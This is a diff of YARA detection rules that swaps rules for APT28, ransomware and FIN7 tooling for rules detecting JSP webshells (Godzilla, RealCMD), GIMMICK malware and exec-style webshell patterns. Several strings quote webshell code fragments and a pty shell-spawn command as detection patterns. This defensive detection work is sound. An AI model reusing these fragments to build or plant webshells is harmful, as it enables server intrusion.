+		logic_hash = "bb48516342eddd48c35e6db0eb74f95e116dc723503552b99ba721b5bdb391e5"
+		score = 75
+		quality = 80
+		tags = "WEBSHELL"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$dbg1 = { 55 6e 65 78 70 65 63 74 65 64 20 65 72 72 6f 72 2c 20 72 65 74 75 72 6e 20 63 6f 64 65 20 3d 20 25 30 38 58 0a }
-		$dbg2 = { 47 72 65 65 74 69 6e 67 73 20 [3-10] 21 }
-		$dbg3 = { 63 79 63 6c 65 73 3d 25 6c 75 20 72 61 74 69 6f 3d 25 6c 75 20 6d 69 6c 6c 69 73 65 63 73 3d 25 6c 75 20 73 65 63 73 3d 25 6c 75 20 68 61 72 64 66 61 69 6c 3d 25 64 20 61 3d 25 6c 75 20 62 3d 25 6c 75 0a }
-		$dbg4 = { 53 48 41 2d 25 64 20 74 65 73 74 20 23 25 64 3a }
-		$lib1 = "pthread_mutex_unlock@@GLIBC_2.2.5" fullword ascii
-		$lib2 = "pthread_mutex_lock@@GLIBC_2.2.5" fullword ascii
-		$lib3 = "mbedtls_rsa_import" fullword ascii
-		$lib4 = "mbedtls_rsa_export" fullword ascii
-		$lib5 = "mbedtls_oid_get_extended_key_usage" fullword ascii
-		$lib6 = "mbedtls_sha256_process" fullword ascii
-		$seq1 = { 48 83 ec 20 89 7d ec 48 89 75 e0 b8 00 00 00 00 e8 77 00 00 00 48 8d 45 f0 b9 00 00 00 00 48 8d 15 b5 ff ff ff be 00 00 00 00 48 89 c7 e8 d6 fb ff ff c7 45 fc 01 00 00 00 eb }
-		$seq2 = { 00 00 00 00 e8 b2 fe ff ff 48 8b 45 e8 48 89 c7 e8 92 ed ff ff 48 83 c0 01 48 89 c7 e8 c6 ee ff ff 48 89 45 f8 48 83 7d f8 00 74 3a 48 8b 55 e8 48 8b 45 f8 48 89 d6 48 89 c7 e8 f8 ec ff ff 48 8b 45 f8 48 89 c7 e8 12 fd ff ff 48 8b 45 f8 48 89 c7 e8 90 ec ff ff b8 00 00 00 00 e8 95 fc ff ff }
-		$seq3 = { e5 41 55 41 54 53 48 81 ec 18 18 00 00 c7 45 dc 00 00 00 00 48 c7 45 d0 00 00 00 00 bf 00 00 00 00 e8 13 fd ff ff 89 c7 e8 7c fc ff ff e8 d7 fd ff ff 41 89 c5 e8 cf fd ff ff 41 89 c4 e8 c7 fd ff ff 89 c3 e8 c0 fd ff ff 89 c2 48 8d 85 d0 e7 ff ff 4d 89 e9 4d 89 e0 48 89 d9 48 8d 35 bf 0a 02 00 48 89 }
+		$s1 = "if (request.getParameter(\"name\")!=null && request.getParameter(\"name\").length()!=0){" ascii
 
 	condition:
-		uint16(0)==0x457f and filesize >80KB and 3 of ($dbg*) and 4 of ($lib*) and 2 of ($seq*)
+		$s1
 }
-import "pe"
-
-rule ARKBIRD_SOLG_APT_APT28_VHD_Nov_2020_1 : FILE
+rule VOLEXITY_General_Jsp_Possible_Tiny_Fileuploader : GENERAL WEBSHELLS FILE
 {
 	meta:
-		description = "Detect suspicious VHD file with APT28 artefacts inside (November 2020)"
-		author = "Arkbird_SOLG"
-		id = "25452eaa-f135-5b7f-a523-67715a2ab9f7"
-		date = "2020-12-09"
-		modified = "2020-12-10"
-		reference = "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-09/APT28/APT_APT28_Nov_2020_1.yar#L3-L35"
-		license_url = "N/A"
-		logic_hash = "d72c3428cf731feb63c59ef109b99ec234e69bb6df34bdde928cc4b886f0533b"
-		score = 50
-		quality = 69
-		tags = "FILE"
-		level = "experimental"
-		hash1 = "707b752f6bd89d4f97d08602d0546a56d27acfe00e6d5df2a2cb67c5e2eeee30"
+		description = "Detects small .jsp files which have possible file upload utility."
+		author = "threatintel@volexity.com"
+		id = "d111aab3-af6e-59cb-a445-ebd4a454fb9a"
+		date = "2022-06-01"
+		modified = "2022-06-06"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-06-02 Active Exploitation Of Confluence 0-day/indicators/yara.yar#L17-L50"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "bad62e6fd33ffb0d8551302fd7f85528066992c272b670d44a33b5b2eb174886"
+		score = 75
+		quality = 80
+		tags = "GENERAL, WEBSHELLS, FILE"
+		hash1 = "4addb9bc9e5e1af8fda63589f6b3fc038ccfd651230fa3fa61814ad080e95a12"
+		memory_suitable = 0
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$c1 = { 49 6e 76 61 6c 69 64 20 70 61 72 74 69 74 69 6f 6e 20 74 61 62 6c 65 00 45 72 72 6f 72 20 6c 6f 61 64 69 6e 67 20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 65 6d 00 4d 69 73 73 69 6e 67 20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 65 6d 00 00 00 63 7b }
-		$c2 = { 52 90 4e 54 46 53 }
-		$c3 = { 41 20 64 69 73 6b 20 72 65 61 64 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 00 0d 0a 42 4f 4f 54 4d 47 52 20 69 73 20 63 6f 6d 70 72 65 73 73 65 64 00 0d 0a 50 72 65 73 73 20 43 74 72 6c 2b 41 6c 74 2b 44 65 6c 20 74 6f 20 72 65 73 74 61 72 74 }
-		$c4 = { 42 00 4f 00 4f 00 54 00 4d 00 47 00 52 00 04 00 24 00 49 00 33 00 30 }
-		$c5 = { 4e 00 54 00 4c 00 44 00 52 00 07 00 42 00 4f 00 4f 00 54 00 54 00 47 00 54 00 07 00 42 00 4f 00 4f 00 54 00 4e 00 58 00 54 }
-		$c6 = { 46 49 4c 45 30 00 03 00 8? ?d }
-		$c7 = { 24 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 60 00 00 00 40 }
-		$s1 = { 46 61 73 74 4d 4d 20 42 6f 72 6c 61 6e 64 20 45 64 69 74 69 6f 6e 20 a9 20 32 30 30 34 2c 20 32 30 30 35 20 50 69 65 72 72 65 20 6c 65 20 52 69 63 68 65 20 2f 20 50 72 6f 66 65 73 73 69 6f 6e 61 6c 20 53 6f 66 74 77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 }
-		$s2 = { 53 4f 46 54 57 41 52 45 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 5c 52 54 4c 00 46 50 55 4d 61 73 6b 56 61 6c 75 65 }
-		$s3 = { 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4b 65 79 62 6f 61 72 64 20 4c 61 79 6f 75 74 73 5c }
-		$s4 = { 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4b 65 79 62 6f 61 72 64 20 4c 61 79 6f 75 74 73 5c 25 2e 38 78 00 00 6c 61 79 6f 75 74 20 74 65 78 74 }
-		$s5 = { 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 25 00 73 }
-		$s6 = { 52 00 65 00 73 00 6f 00 6c 00 76 00 69 00 6e 00 67 00 20 00 68 00 6f 00 73 00 74 00 6e 00 61 00 6d 00 65 00 20 00 25 00 73 }
-		$s7 = { 45 00 72 00 72 00 6f 00 72 00 20 00 72 00 65 00 61 00 64 00 69 00 6e 00 67 00 20 00 25 00 73 00 25 00 73 00 25 00 73 00 3a 00 20 00 25 00 73 00 11 00 53 00 74 00 72 00 65 00 61 00 6d 00 20 00 72 00 65 00 61 00 64 00 20 00 65 00 72 00 72 00 6f 00 72 }
-		$s8 = { 25 73 2c 20 43 6c 61 73 73 49 44 3a 20 25 73 }
-		$s9 = { 43 6f 6e 6e 65 63 74 4b 69 6e 64 b0 10 40 00 44 00 00 ff 44 00 00 ff 01 00 00 00 00 00 00 80 00 00 00 80 04 00 11 52 65 6d 6f 74 65 4d 61 63 68 69 6e 65 4e 61 6d 65 }
-		$s10 = { 22 20 4e 54 2f 20 [1-4] 20 4f 4d 2f 20 45 54 55 4e 49 4d 20 43 53 2f 20 65 74 61 65 72 43 2f 20 73 6b 73 61 74 68 63 73 }
-		$s11 = { 2f 2f 3a 70 74 74 68 }
+		$required1 = "request." ascii
+		$required2 = "java.io.FileOutputStream" ascii
+		$required3 = ".write" ascii
+		$encoding1 = "java.util.Base64" ascii
+		$encoding2 = "crypto.Cipher" ascii
+		$encoding3 = ".misc.BASE64Decoder" ascii
 
 	condition:
-		uint16(0)==0x33c0 and filesize >40KB and 5 of ($c*) and 8 of ($s*)
+		( filesize <4KB and all of ($required*) and any of ($encoding*)) or ( filesize <600 and all of ($required*))
 }
-import "pe"
-
-rule ARKBIRD_SOLG_APT_APT28_Zebrocy_GO_Downloader_Nov_2020_1 : FILE
+rule VOLEXITY_Webshell_Java_Realcmd : COMMODITY WEBSHELLS
 {
 	meta:
-		description = "Detect Zebrocy Go downloader (November 2020)"
-		author = "Arkbird_SOLG"
-		id = "114c0297-7168-5d20-b56b-89b0b47f18c7"
-		date = "2020-12-09"
-		modified = "2020-12-10"
-		reference = "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-09/APT28/APT_APT28_Nov_2020_1.yar#L37-L65"
-		license_url = "N/A"
-		logic_hash = "e7b2e7c250f3a98127399176adf9f93b758f0a5111e126dd0a75a3fb95a48da9"
-		score = 50
-		quality = 61
-		tags = "FILE"
-		level = "experimental"
-		hash1 = "61c2e524dcc25a59d7f2fe7eff269865a3ed14d6b40e4fea33b3cd3f58c14f19"
-		hash2 = "f36a0ee7f4ec23765bb28fbfa734e402042278864e246a54b8c4db6f58275662"
+		description = "Detects the RealCMD webshell, one of the payloads for BEHINDER."
+		author = "threatintel@volexity.com"
+		id = "d5e7e3c8-a0aa-5c2e-8a2d-654e066593eb"
+		date = "2022-06-01"
+		modified = "2022-06-06"
+		reference = "https://github.com/Freakboy/Behinder/blob/master/src/main/java/vip/youwe/sheller/payload/java/RealCMD.java"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-06-02 Active Exploitation Of Confluence 0-day/indicators/yara.yar#L52-L79"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "244add844570b23e5df23882a3fdacf894f3e201b01373d949b0752361960536"
+		score = 75
+		quality = 80
+		tags = "COMMODITY, WEBSHELLS"
+		hash1 = "a9a30455d6f3a0a8cd0274ae954aa41674b6fd52877fafc84a9cb833fd8858f6"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$c1 = "os.(*ProcessState).sys" fullword ascii
-		$c2 = "os/exec.(*ExitError).Sys" fullword ascii
-		$c3 = "os/exec.ExitError.Sys" fullword ascii
-		$c4 = "os.(*ProcessState).Sys" fullword ascii
-		$p1 = "syscall.CreatePipe" fullword ascii
-		$p2 = "os.Pipe" fullword ascii
-		$p3 = { 6e 65 74 2f 68 74 74 70 2e 28 2a 68 74 74 70 32 70 69 70 65 29 2e 63 6c 6f 73 65 44 6f 6e 65 4c 6f 63 6b 65 64 }
-		$p4 = { 6e 65 74 2f 68 74 74 70 2e 28 2a 68 74 74 70 32 63 6c 69 65 6e 74 53 74 72 65 61 6d 29 2e 67 65 74 53 74 61 72 74 65 64 57 72 69 74 65 }
-		$op1 = { 75 5f 67 3d 25 73 20 25 71 25 73 2a 25 64 25 73 3d 25 73 26 23 33 34 3b 26 23 33 39 3b 26 61 6d 70 3b }
-		$op2 = { 70 63 3d 25 21 28 4e 4f 56 45 52 42 29 25 21 57 65 65 6b 64 61 79 28 25 73 7c 25 73 25 73 7c 25 73 28 42 41 44 49 4e 44 45 58 29 }
-		$op3 = { 48 54 54 50 5f 50 52 4f 58 59 48 6f 73 74 3a 20 25 73 0d 0a 49 50 20 61 64 64 72 65 73 73 4b 65 65 70 2d 41 6c 69 76 65 }
-		$op4 = { 63 6f 6e 6e 65 63 74 69 6f 6e 20 65 72 72 6f 72 3a 20 25 73 63 6f 6e 6e 65 63 74 69 6f 6e 20 74 69 6d 65 64 20 6f 75 74 }
-		$op5 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 54 45 53 54 49 4e 47 20 4b 45 59 2d 2d 2d 2d 2d }
-		$op6 = { 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 54 45 53 54 49 4e 47 20 4b 45 59 2d 2d 2d 2d 2d }
+		$fn1 = "runCmd" wide ascii fullword
+		$fn2 = "RealCMD" ascii wide fullword
+		$fn3 = "buildJson" ascii wide fullword
+		$fn4 = "Encrypt" ascii wide fullword
+		$s1 = "AES/ECB/PKCS5Padding" ascii wide
+		$s2 = "python -c 'import pty; pty.spawn" ascii wide
+		$s3 = "status" ascii wide
+		$s4 = "success" ascii wide
+		$s5 = "sun.jnu.encoding" ascii wide
+		$s6 = "java.util.Base64" ascii wide
 
 	condition:
-		uint16(0)==0x4d5a and filesize >800KB and (pe.imphash()=="91802a615b3a5c4bcc05bc5f66a5b219") and 3 of ($c*) and 3 of ($p*) and 3 of ($op*)
+		all of ($fn*) or all of ($s*)
 }
-import "pe"
-
-rule ARKBIRD_SOLG_Backdoor_APT_Nazar_April_2020_1 : FILE
+rule VOLEXITY_Apt_Macos_Gimmick : STORMCLOUD
 {
 	meta:
-		description = "Detect strings used by APT Nazar"
-		author = "Arkbird_SOLG"
-		id = "727a1f4e-1371-5a95-bce9-4a4f701a2ac6"
-		date = "2020-04-29"
-		modified = "2023-11-22"
-		reference = "Internal research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-04-29/Yara_Rule_APT_Bazar-April_2020_1.yar#L3-L29"
-		license_url = "N/A"
-		logic_hash = "79028588ac6afd3e3d0d839d10eada9e5382991eebb600b0dae2119bcd7eac93"
+		description = "Detects the macOS port of the GIMMICK malware."
+		author = "threatintel@volexity.com"
+		id = "258a2bbe-7822-5f74-b4eb-8776ecb15b76"
+		date = "2021-10-18"
+		modified = "2022-03-22"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-03-22 GIMMICK/indicators/yara.yar#L1-L50"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "403ed1102fe5a99c0aacde02e0830f9c4fa194f10aec4a192f4abf6cde0de99d"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		hash1 = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
+		quality = 78
+		tags = "STORMCLOUD"
+		hash1 = "2a9296ac999e78f6c0bee8aca8bfa4d4638aa30d9c8ccc65124b1cbfc9caab5f"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		memory_suitable = 1
 
 	strings:
-		$s1 = "101;0000;" fullword ascii
-		$s2 = "hodll.dll" fullword ascii
-		$s3 = { 70 73 73 64 6B ?? ?? 2E 73 79 73 }
-		$s4 = { 70 73 73 64 6B ?? ?? 2E 76 78 64 }
-		$s5 = "##$$%%&&''(())**++,,--..//0123456789:;<=>?" fullword ascii
-		$s6 = "SYSTEM\\CurrentControlSet\\Services\\VxD\\MSTCP" fullword ascii
-		$s7 = "removehook" fullword ascii
-		$s8 = "installhook" fullword ascii
-		$s9 = "_crt_debugger_hook" fullword ascii
-		$s10 = "\\Files.txt" fullword ascii
-		$s11 = "\\report.txt" fullword ascii
-		$s12 = "\\Programs.txt" fullword ascii
-		$s13 = "\\Devices.txt" fullword ascii
-		$s14 = "\\music.mp3" fullword ascii
-		$s15 = "\\z.png" fullword ascii
+		$s1 = "http://cgi1.apnic.net/cgi-bin/my-ip.php --connect-timeout 10 -m 20" wide ascii
+		$json1 = "base_json" ascii wide
+		$json2 = "down_json" ascii wide
+		$json3 = "upload_json" ascii wide
+		$json4 = "termin_json" ascii wide
+		$json5 = "request_json" ascii wide
+		$json6 = "online_json" ascii wide
+		$json7 = "work_json" ascii wide
+		$msg1 = "bash_pid: %d, FDS_CHILD: %d, FDS_PARENT: %d" ascii wide
+		$msg2 = "pid %d is dead" ascii wide
+		$msg3 = "exit with code %d" ascii wide
+		$msg4 = "recv signal %d" ascii wide
+		$cmd1 = "ReadCmdQueue" ascii wide
+		$cmd2 = "read_cmd_server_timer" ascii wide
+		$cmd3 = "enableProxys" ascii wide
+		$cmd4 = "result_block" ascii wide
+		$cmd5 = "createDirLock" ascii wide
+		$cmd6 = "proxyLock" ascii wide
+		$cmd7 = "createDirTmpItem" ascii wide
+		$cmd8 = "dowfileLock" ascii wide
+		$cmd9 = "downFileTmpItem" ascii wide
+		$cmd10 = "filePathTmpItem" ascii wide
+		$cmd11 = "uploadItems" ascii wide
+		$cmd12 = "downItems" ascii wide
+		$cmd13 = "failUploadItems" ascii wide
+		$cmd14 = "failDownItems" ascii wide
+		$cmd15 = "downloadCmds" ascii wide
+		$cmd16 = "uploadFiles" ascii wide
 
 	condition:
-		12 of them and filesize >120KB
+		$s1 or 5 of ($json*) or 3 of ($msg*) or 9 of ($cmd*)
 }
-rule ARKBIRD_SOLG_RAN_ALPHV_Dec_2021_1 : FILE
+rule VOLEXITY_Apt_Win_Gimmick_Dotnet_Base : STORMCLOUD
 {
 	meta:
-		description = "Detect AlphV ransomware (Nov and Dec 2021)"
-		author = "Arkbird_SOLG"
-		id = "5c758dc9-b1dc-58e0-b443-6f78e27ffefe"
-		date = "2021-12-09"
-		modified = "2021-12-18"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-09/RAN_ALPHV_Dec_2021_1.yara#L1-L21"
-		license_url = "N/A"
-		logic_hash = "416ebea98f660dd9fad27c3be0c79e47bc69e08fe4be7db76a71462d2c5ada49"
+		description = "Detects the base version of GIMMICK in .NET."
+		author = "threatintel@volexity.com"
+		id = "8723253f-ad11-509e-a9b4-f2c3258f9b5c"
+		date = "2020-03-16"
+		modified = "2022-03-22"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-03-22 GIMMICK/indicators/yara.yar#L52-L76"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "0dd2aab308b7057d3075c792339af89d7ff9d617f1beb78ecdb725554defa5dc"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "3d7cf20ca6476e14e0a026f9bdd8ff1f26995cdc5854c3adb41a6135ef11ba83"
-		hash2 = "7e363b5f1ba373782261713fa99e8bbc35ddda97e48799c4eb28f17989da8d8e"
-		hash3 = "cefea76dfdbb48cfe1a3db2c8df34e898e29bec9b2c13e79ef40655c637833ae"
-		hash4 = "731adcf2d7fb61a8335e23dbee2436249e5d5753977ec465754c6b699e9bf161"
-		tlp = "white"
-		adversary = "BlackCat"
+		quality = 80
+		tags = "STORMCLOUD"
+		hash1 = "b554bfe4c2da7d0ac42d1b4f28f4aae854331fd6d2b3af22af961f6919740234"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		memory_suitable = 1
 
 	strings:
-		$s1 = { ff b4 24 [2] 00 00 6a 00 ff 35 ?? e1 ?? 00 e8 [3] 00 8d 8c 24 [2] 00 00 ba [3] 00 68 c0 1f 00 00 e8 [3] ff 83 c4 04 ?? bc 24 [2] 00 00 }
-		$s2 = { 85 f6 74 47 8b 3d ?? e1 ?? 00 85 ff 0f 85 81 00 00 00 eb 60 68 [3] 00 6a 00 6a 00 e8 [2] 04 00 85 c0 0f 84 99 01 00 00 89 c1 31 c0 f0 0f b1 0d ?? e1 ?? 00 0f 84 f0 fe ff ff 89 c6 51 e8 [2] 04 00 89 f1 e9 e1 fe ff ff 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 c0 0f 84 32 03 00 00 89 c6 a3 ?? e1 ?? 00 8b 3d ?? e1 ?? 00 85 ff 75 1f 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 c0 0f 84 09 03 00 00 89 c7 a3 ?? e1 ?? 00 89 74 24 18 e8 [2] 04 00 8b 35 ?? e1 ?? 00 89 44 24 14 85 f6 75 1f 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 c0 0f 84 b8 01 00 00 89 c6 a3 ?? e1 ?? 00 8d 44 24 70 c7 44 24 64 00 00 00 00 c7 44 24 60 00 00 00 00 68 0c 01 00 00 6a 00 50 e8 [2] 04 00 83 }
-		$s3 = { 8b 38 89 4d ec 89 55 ?? 74 34 a1 ?? e1 ?? 00 85 c0 75 0e e8 [3] 00 85 c0 74 14 a3 ?? e1 ?? 00 53 6a 00 50 e8 [3] 00 89 c6 85 c0 75 13 89 d9 ba 01 00 00 00 e8 [3] ff 0f 0b be 01 00 00 00 53 57 56 e8 [3] 00 83 c4 0c 8d 04 1e 8d 4d }
-		$s4 = { 83 c4 0c c7 45 ?? 00 00 00 00 c7 45 ?? 02 00 00 89 89 75 ?? 8d 45 ?? c7 45 ?? 00 00 00 00 c7 45 ?? 00 00 00 00 6a 10 50 57 e8 [3] 00 83 f8 ff 0f 84 ?? 02 00 00 f6 45 9c ff }
+		$other1 = "srcStr is null" wide
+		$other2 = "srcBs is null " wide
+		$other3 = "Key cannot be null" wide
+		$other4 = "Faild to get target constructor, targetType=" wide
+		$other5 = "hexMoudule(public key) cannot be null or empty." wide
+		$other6 = "https://oauth2.googleapis.com/token" wide
+		$magic1 = "TWljcm9zb2Z0IUAjJCVeJiooKQ==" ascii wide
+		$magic2 = "DAE47700E8CF3DAB0@" ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and filesize >300KB and all of ($s*)
+		5 of ($other*) or any of ($magic*)
 }
-rule ARKBIRD_SOLG_SP_Vault7_SIG_F_Nov_2020_1 : FILE
+rule VOLEXITY_Webshell_Jsp_Godzilla : WEBSHELLS COMMODITY
 {
 	meta:
-		description = "Detect open-source PasswordReminder recovery tools used by Chinese APT in the Past"
-		author = "Arkbird_SOLG"
-		id = "0b65e333-16e2-57c3-84f0-5cd24c9d9593"
-		date = "2020-11-30"
-		modified = "2020-11-30"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-30/SP_Vault7_SIG_F_Nov_2020_1.yar#L1-L23"
-		license_url = "N/A"
-		logic_hash = "b03ffb433491b532d891f29aeb5b33c6578067f2f05845514a7bdc1e50f88a10"
+		description = "Detects the JSP implementation of the Godzilla Webshell."
+		author = "threatintel@volexity.com"
+		id = "47c8eab8-84d7-5566-b757-5a6dcc7579b7"
+		date = "2021-11-08"
+		modified = "2022-08-10"
+		reference = "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-08-10 Mass exploitation of (Un)authenticated Zimbra RCE CVE-2022-27925/yara.yar#L1-L28"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "52cba9545f662da18ca6e07340d7a9be637b89e7ed702dd58cac545c702a00e3"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "e6e17f2b2ce0ae07cf48654156b79ee90d330961456f731e84c94f50fe34f802"
-		hash2 = "c224ee5bef42a45e84e0d5a409d8b4c3842b2a7ac3fe5006ee795e64e0778e6e"
+		quality = 80
+		tags = "WEBSHELLS, COMMODITY"
+		hash1 = "2786d2dc738529a34ecde10ffeda69b7f40762bf13e7771451f13a24ab7fc5fe"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		memory_suitable = 1
 
 	strings:
-		$dbg1 = { 50 61 73 73 77 6f 72 64 52 65 6d 69 6e 64 65 72 20 69 73 20 75 6e 61 62 6c 65 20 74 6f 20 66 69 6e 64 20 57 69 6e 4c 6f 67 6f 6e 20 6f 72 20 79 6f 75 20 61 72 65 20 75 73 69 6e 67 20 4e 57 47 49 4e 41 2e 44 4c 4c 2e 0a }
-		$dbg2 = { 54 68 65 20 65 6e 63 6f 64 65 64 20 70 61 73 73 77 6f 72 64 20 69 73 20 66 6f 75 6e 64 20 61 74 20 30 78 25 38 2e 38 6c 78 20 61 6e 64 20 68 61 73 20 61 20 6c 65 6e 67 74 68 20 6f 66 20 25 64 2e 0a }
-		$dbg3 = { 50 61 73 73 77 6f 72 64 52 65 6d 69 6e 64 65 72 20 69 73 20 75 6e 61 62 6c 65 20 74 6f 20 66 69 6e 64 20 74 68 65 20 70 61 73 73 77 6f 72 64 20 69 6e 20 6d 65 6d 6f 72 79 2e 0a }
-		$dbg4 = { 20 55 73 61 67 65 3a 20 25 73 20 44 6f 6d 61 69 6e 4e 61 6d 65 20 55 73 65 72 4e 61 6d 65 20 50 49 44 2d 6f 66 2d 57 69 6e 4c 6f 67 6f 6e 0a 0a }
-		$dbg5 = { 54 68 65 20 6c 6f 67 6f 6e 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 69 73 3a 20 25 53 2f 25 53 2f 25 53 2e 0a }
-		$dbg6 = { 54 68 65 20 57 69 6e 4c 6f 67 6f 6e 20 70 72 6f 63 65 73 73 20 69 64 20 69 73 20 25 64 20 28 30 78 25 38 2e 38 6c 78 29 2e 0a }
-		$dbg7 = { 59 6f 75 20 6c 6f 67 67 65 64 20 6f 6e 20 61 74 20 25 64 2f 25 64 2f 25 64 20 25 64 3a 25 64 3a 25 64 0a }
-		$dbg8 = { 54 68 65 20 68 61 73 68 20 62 79 74 65 20 69 73 3a 20 30 78 25 32 2e 32 78 2e 0a }
-		$dbg9 = { 53 55 56 57 68 14 ?? 40 00 e8 17 0c 00 00 8b 6c 24 1c [1-4] 45 00 50 68 e0 ?? 40 00 e8 ?? ?? 00 00 83 c4 ?? e8 ?? 02 00 00 85 c0 75 1d e8 ?? 02 00 00 85 c0 75 14 68 b4 ?? 40 00 e8 ?? 0b 00 00 83 c4 04 33 c0 5f 5e 5d 5b }
+		$s1 = ".getWriter().write(base64Encode(" wide ascii
+		$s2 = ".getAttribute(" ascii wide
+		$s3 = "java.security.MessageDigest" ascii wide
+		$auth1 = /String xc=\"[a-f0-9]{16}\"/ ascii wide
+		$auth2 = "String pass=\"" ascii wide
+		$magic = "class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q"
+		$magic2 = "<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class"
 
 	condition:
-		uint16(0)==0x4d5a and filesize >50KB and 6 of them
+		all of ($s*) or all of ($auth*) or any of ($magic*)
 }
-rule ARKBIRD_SOLG_CRIM_FIN7_PS_Cryptor_Jun_2021_1 : FILE
+rule VOLEXITY_Webshell_Jsp_General_Runtime_Exec_Req : GENERAL WEBSHELLS
 {
 	meta:
-		description = "Detect PS Cryptor used by FIN7 for Diceloader and Carbanak"
-		author = "Arkbird_SOLG"
-		id = "26361500-c33e-59c8-a53f-a881966c71a7"
-		date = "2021-06-07"
-		modified = "2021-06-07"
-		reference = "https://twitter.com/z0ul_/status/1401795117678219267"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-07/FIN7/CRIM_FIN7_PS_Cryptor_Jun_2021_1.yara#L1-L28"
-		license_url = "N/A"
-		logic_hash = "d7eadaa6dec75ecfa2f03860f41b39dbe9e7ffc9e6ad743497586356301ef67c"
+		description = "Looks for a common design pattern in webshells where a request attribute is passed directly to exec()."
+		author = "threatintel@volexity.com"
+		id = "7f1539bd-a2f0-50dd-b500-ada4e0971d13"
+		date = "2022-02-02"
+		modified = "2022-08-10"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-08-10 Mass exploitation of (Un)authenticated Zimbra RCE CVE-2022-27925/yara.yar#L30-L45"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "d3048aba80c1c39f1673931cd2d7c5ed83045603b0ad204073fd788d0103a6c8"
 		score = 75
-		quality = 55
-		tags = "FILE"
-		hash1 = "944e47dc9da19b753beba173214cdebea2aa3651c402dfacae2dde82c4fdaa43"
-		hash2 = "fada67a9f89429d6c191cd6fef5d75cd7b49eebaa2e40d1dd1f9884b3038a23b"
-		hash3 = "0f083aac77fb734a8e81fb9dff218f0414ac6c4c9a23b2832837fbc2c7e2031d"
